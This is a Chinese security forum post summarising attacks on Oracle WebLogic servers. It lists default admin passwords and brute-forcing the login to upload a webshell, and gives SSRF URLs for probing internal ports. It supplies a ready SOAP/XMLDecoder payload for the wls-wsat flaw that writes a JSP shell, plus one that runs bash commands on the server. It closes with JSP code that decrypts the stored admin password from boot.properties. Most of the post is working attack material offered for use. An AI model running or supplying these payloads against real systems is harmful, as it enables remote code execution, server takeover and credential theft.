首页
社区
课程
招聘
[原创]针对weblogic测试的一些小总结
发表于: 2018-3-5 11:01 4478

[原创]针对weblogic测试的一些小总结

2018-3-5 11:01
4478

针对weblogic测试的一些小总结


5ecurity团队(5ecurity.cn)成员 linkally(linkally@5ecurity.cn)原创发布


1. 管理员登录页面弱密码


Weblogic的端口一般为7001,弱密码一般为weblogic/Oracle@123 or weblogic,或者根据具体情况进行猜测,公司名,人名等等,再有就可以用burpsuite的intruder进行暴力破解,一旦成功就可以上传war包getshell。


2. weblogic ssrf


Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。如果存在此url  http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp 都会存在ssrf


下面我们监听一下192.168.1.59:139的139端口(开启)跟138端口(未开启)的返回,端口的开启情况,

http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search


http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search


3 .weblogic反序列化

Wenlogic反序列化的漏洞已经被爆出很长时间,网上可以找出各种各样的工具,在这里我就不在多提了。



4.weblogic_uac

第一步  抓取http://x.x.x.x:7001/wls-wsat/CoordinatorPortType  对其发起POST请求(任意包都可以,只要url对就可以)


第二步  加入Content-Type:text/xml

第三步  在body中放入payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

        <java><java version="1.4.0" >

            <object >

                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">

                    <string><![CDATA[此处放马(因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错,可删掉中文上传,也可进行编码处理)

]]></string></void><void method="close"/>

            </object>

        </java>

      </java>

    </work:WorkContext>

  </soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>



以上为默认路径,如果不是默认路径同时又是linux系统可用以下payload爆出路径

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

   <soapenv:Header>

     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

         <java version="1.8.0_131" >

           <void >

             <array length="3">

               <void index="0">

                 <string>/bin/bash</string>

               </void>

               <void index="1">

                 <string>-c</string>

               </void>

               <void index="2">

                 <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string>

               </void>

             </array>

           <void method="start"/></void>

         </java>

       </work:WorkContext>

     </soapenv:Header>

   <soapenv:Body/>

 </soapenv:Envelope>


5.weblogic 在线与离线解密


如有webshell可进行在线解密

把一下代码放入服务器进行访问,红色字体weblogic的加密密码,可在boot.properties文件中找到。路径为../../../Server/security/boot.properties

<%@page pageEncoding="utf-8"%>

<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>

<%

   EncryptionService es = null;

   ClearOrEncryptedService ces = null;

    String s = null;

    s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU=";

    es = SerializedSystemIni.getEncryptionService();

    if (es == null) {

       out.println("Unable to initialize encryption service");

        return;

    }

    ces = new ClearOrEncryptedService(es);

    if (s != null) {

        out.println("\nDecrypted Password is:" + ces.decrypt(s));

    }

%>


离线解密需要两个文件SerializedSystemIni.dat跟boot.properties



[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//